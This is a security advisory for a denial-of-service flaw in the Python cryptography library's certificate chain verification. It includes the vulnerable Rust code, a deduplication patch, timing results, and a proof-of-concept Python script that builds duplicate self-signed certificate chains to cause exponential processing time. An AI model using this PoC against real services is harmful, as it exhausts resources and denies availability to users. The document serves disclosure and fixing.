GHSA-jwv3-5hgf-82ww: Pip/cryptography vulnerability

Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details The core issue arises in the recursive nature of buildchaininner, which does not de-duplicate against previously analyzed candidates.

python fn buildchaininner( &self, workingcert: &VerificationCertificate<'chain, B>, currentdepth: u8, workingcertextensions: &Extensions<'chain>, namechain: NameChain<', 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = workingcertextensions.getextension(&NAMECONSTRAINTSOID) { namechain.evaluateconstraints(&nc.value()?, budget)?; }

// Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(workingcert) { return Ok(vec![workingcert.clone()]); }

// Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if currentdepth > self.policy.maxchaindepth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); }

// Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut lasterr: Option<ValidationError<', B>> = None; for issuingcertcandidate in self.potentialissuers(workingcert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuerextensions = issuingcertcandidate.certificate().extensions()?; match self.policy.validissuer( issuingcertcandidate, workingcert, currentdepth, &issuerextensions, ) { Ok() => { match self.buildchaininner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

rust let mut seenvalidissuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuingcertcandidate in self.potentialissuers(workingcert) { . . . Ok() => { if seenvalidissuers.contains(&issuingcertcandidate) { continue; } seenvalidissuers.push(issuingcertcandidate); match self.buildchaininner( issuingcertcandidate, // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,maxdepth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829

PoC The following script benchmarks processing times for malicious cert chains.

python import datetime import multiprocessing import time

import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, )

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CAKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=True, crlsign=True, encipheronly=False, decipheronly=False, ) EEKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=False, crlsign=False, encipheronly=False, decipheronly=False, )

def name(commonname): return x509.Name([x509.NameAttribute(NameOID.COMMONNAME, commonname)])

def basebuilder(subject, issuer, publickey, serial): return ( x509.CertificateBuilder() .subjectname(subject) .issuername(issuer) .publickey(publickey) .serialnumber(serial) .notvalidbefore(NOW - datetime.timedelta(days=1)) .notvalidafter(NOW + datetime.timedelta(days=30)) )

def makeca(commonname, serial): privatekey = ec.generateprivatekey(ec.SECP256R1()) subject = name(commonname) cert = ( basebuilder(subject, subject, privatekey.publickey(), serial) .addextension(x509.BasicConstraints(ca=True, pathlength=None), True) .addextension(CAKEYUSAGE, True) .addextension( x509.SubjectKeyIdentifier.frompublickey(privatekey.publickey()), False, ) .sign(privatekey, hashes.SHA256()) ) return privatekey, cert

def makeleaf(issuerkey, issuercert): privatekey = ec.generateprivatekey(ec.SECP256R1()) return ( basebuilder(name("leaf"), issuercert.subject, privatekey.publickey(), 100) .addextension(x509.BasicConstraints(ca=False, pathlength=None), True) .addextension(EEKEYUSAGE, True) .addextension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .addextension( x509.AuthorityKeyIdentifier.fromissuerpublickey(issuerkey.publickey()), False, ) .addextension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVERAUTH]), False) .sign(issuerkey, hashes.SHA256()) )

def buildmaterial(): loopingkey, loopingca = makeca("looping self-signed CA", 1) , unrelatedroot = makeca("unrelated trust anchor", 2) leaf = makeleaf(loopingkey, loopingca) return leaf, loopingca, unrelatedroot

def verifycase(duplicates, maxdepth, queue): leaf, loopingca, unrelatedroot = buildmaterial() verifier = ( PolicyBuilder() .store(Store([unrelatedroot])) .time(NOW) .maxchaindepth(maxdepth) .buildserververifier(DNSName("example.com")) )

start = time.perfcounter() try: verifier.verify(leaf, [loopingca] duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perfcounter() - start))

def runcase(duplicates, maxdepth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verifycase, args=(duplicates, maxdepth, queue), ) process.start() process.join(TIMEOUT)

if process.isalive(): process.terminate() process.join() print(f"{duplicates},{maxdepth},timeout>{TIMEOUT}s,") return

result, elapsed = queue.get() print(f"{duplicates},{maxdepth},{result},{elapsed:.6f}")

if name == "main": print("duplicates,maxdepth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: runcase(case)

Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.